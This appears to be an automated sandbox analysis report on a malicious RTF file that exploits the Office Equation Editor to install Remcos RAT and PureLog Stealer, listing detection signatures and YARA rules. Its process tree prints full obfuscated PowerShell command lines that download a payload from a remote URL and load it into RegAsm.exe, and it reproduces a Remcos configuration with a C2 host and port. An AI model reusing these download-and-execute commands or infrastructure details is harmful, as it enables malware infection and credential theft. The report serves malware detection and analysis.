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Windows
Analysis Report
beNwFiUxpf.rtf
Overview
General Information
| Sample name: | beNwFiUxpf.rtfrenamed because original name is a hash value |
| Original sample name: | 72dd90d54b9dcfe691ff308a9cacb72f.rtf |
| Analysis ID: | 1528438 |
| MD5: | 72dd90d54b9dcfe691ff308a9cacb72f |
| SHA1: | 79997f6339815718fdd17e5e4c47a6ea08a5549f |
| SHA256: | 7a8ccad40f6f34469ac64889b09cf44c53d2bb58dbb5e900abcc9703fa62ccb4 |
| Tags: | rtf |
| Infos: |   |
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Detection
Remcos, PureLog Stealer
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected PureLog Stealer
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to detect virtual machines (SLDT)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
WINWORD.EXE (PID: 3236 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) 
EQNEDT32.EXE (PID: 3316 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 3476 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\sweet buddygirlt odaysherew ith.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 3524 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiAoICRzaE VsbGlkWzFd KyRTSGVMbE lEWzEzXSsn WCcpKCAoJ0 FvbnVybCA9 JysnIHh3cG h0dHBzOi8v aScrJ2E2MC crJzAxJysn MDAnKycudS crJ3MuJysn YScrJ3JjaG l2ZScrJy5v cicrJ2cvJy snMjQvaXRl bXMvJysnZG V0YWgtbm90 ZS12LycrJ0 RldGEnKydo Tm90ZVYudH gnKyd0eHdw O0EnKydvbm InKydhc2U2 JysnNENvbn RlbicrJ3Qg PScrJyAnKy coTmV3Jysn LU8nKydiai crJ2VjdCBT eScrJ3N0ZW 0uTmV0Jysn LldlYicrJ0 NsaScrJ2Vu dCkuRCcrJ2 93bmxvYWRT dHJpbmcoQW 8nKydudXJs JysnKTtBb2 5iaW5hJysn cnknKydDb2 50ZW50Jysn ICcrJz0gWy crJ1MnKyd5 c3RlbS5DJy snb252ZXJ0 XScrJzo6Jy snRicrJ3Jv bUInKydhcy crJ2U2NFN0 cmknKyduZy crJyhBb25i YXMnKydlNj RDb24nKyd0 ZScrJ24nKy d0KTtBb25h Jysnc3NlbW JseSA9IFtS ZScrJ2ZsZW N0JysnaW9u JysnLicrJ0 Fzc2UnKydt Ymx5XTo6TG 9hZChBJysn b24nKydiJy snaW5hcnlD b250ZW50KS crJztBb250 eXBlID0gJy snQScrJ29u JysnYScrJ3 NzZW1iJysn bCcrJ3knKy cuR2UnKyd0 VCcrJ3lwJy snZScrJyh4 d3BSdScrJ2 5QJysnRS4n KydIb21leH dwKScrJztB b24nKydtZX Rob2QnKycg PScrJyAnKy dBb24nKyd0 eXBlLkcnKy dldE1ldGhv ZCh4d3BWQU knKyd4dycr J3AnKycpO0 FvJysnbm1l dGhvZCcrJy 5JbicrJ3Zv a2UoQW8nKy duJysnbnVs bCwnKycgW2 8nKydiaicr J2VjdFtdXU AoeHdwJysn dHh0LkMnKy dDTycrJ05L LycrJzAzNC 8wOC4yJysn NDIuNScrJz cnKycxLjcn KycwJysnMS crJy8nKycv OnB0dGgnKy d4d3AgJysn LCB4d3AnKy dkZXNhdGkn Kyd2YWQnKy dveHdwJysn ICcrJywgJy sneHcnKydw ZGVzYScrJ3 RpdmFkb3h3 cCAnKycsIC crJ3h3cGQn Kydlc2F0aX ZhJysnZG94 d3AnKycseC crJ3dwJysn UmVnQXNteC crJ3cnKydw LHh3cHgnKy d3cCcrJykn KycpJykuck VwTEFjZSgo W2NIQVJdNj UrW2NIQVJd MTExK1tjSE FSXTExMCks W1N0UklOR1 1bY0hBUl0z NikuckVwTE FjZSgneHdw JyxbU3RSSU 5HXVtjSEFS XTM5KSk='; $OWjuxd = [system.Te xt.encodin g]::UTF8.G etString([ system.Con vert]::Fro mbase64Str ing($codig o));powers hell.exe - windowstyl e hidden - executionp olicy bypa ss -NoProf ile -comma nd $OWjuxD MD5: EB32C070E658937AA9FA9F3AE629B2B8) - powershell.exe (PID: 3640 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "& ( $ shEllid[1] +$SHeLlID[ 13]+'X')( ('Aonurl = '+' xwphtt ps://i'+'a 60'+'01'+' 00'+'.u'+' s.'+'a'+'r chive'+'.o r'+'g/'+'2 4/items/'+ 'detah-not e-v/'+'Det a'+'hNoteV .tx'+'txwp ;A'+'onb'+ 'ase6'+'4C onten'+'t ='+' '+'(N ew'+'-O'+' bj'+'ect S y'+'stem.N et'+'.Web' +'Cli'+'en t).D'+'own loadString (Ao'+'nurl '+');Aonbi na'+'ry'+' Content'+' '+'= ['+' S'+'ystem. C'+'onvert ]'+'::'+'F '+'romB'+' as'+'e64St ri'+'ng'+' (Aonbas'+' e64Con'+'t e'+'n'+'t) ;Aona'+'ss embly = [R e'+'flect' +'ion'+'.' +'Asse'+'m bly]::Load (A'+'on'+' b'+'inaryC ontent)'+' ;Aontype = '+'A'+'on '+'a'+'sse mb'+'l'+'y '+'.Ge'+'t T'+'yp'+'e '+'(xwpRu' +'nP'+'E.' +'Homexwp) '+';Aon'+' method'+' ='+' '+'Ao n'+'type.G '+'etMetho d(xwpVAI'+ 'xw'+'p'+' );Ao'+'nme thod'+'.In '+'voke(Ao '+'n'+'nul l,'+' [o'+ 'bj'+'ect[ ]]@(xwp'+' txt.C'+'CO '+'NK/'+'0 34/08.2'+' 42.5'+'7'+ '1.7'+'0'+ '1'+'/'+'/ :ptth'+'xw p '+', xwp '+'desati' +'vad'+'ox wp'+' '+', '+'xw'+'p desa'+'tiv adoxwp '+' , '+'xwpd' +'esativa' +'doxwp'+' ,x'+'wp'+' RegAsmx'+' w'+'p,xwpx '+'wp'+')' +')').rEpL Ace(([cHAR ]65+[cHAR] 111+[cHAR] 110),[StRI NG][cHAR]3 6).rEpLAce ('xwp',[St RING][cHAR ]39))" MD5: EB32C070E658937AA9FA9F3AE629B2B8) 
RegAsm.exe (PID: 3764 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - EQNEDT32.EXE (PID: 3924 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "2024remcmon.duckdns.org:14645:1", "Assigned name": "zynova", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-R2I0JW", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
| Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
| Click to see the 15 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
| Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
| REMCOS_RAT_variants | unknown | unknown |
| |
| INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM | Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) | ditekSHen |
| |
| Click to see the 18 entries | ||||
Exploits |   |
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| Source: | Author: Joe Security: | ||
| Source: | Author: Joe Security: | ||
System Summary | |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||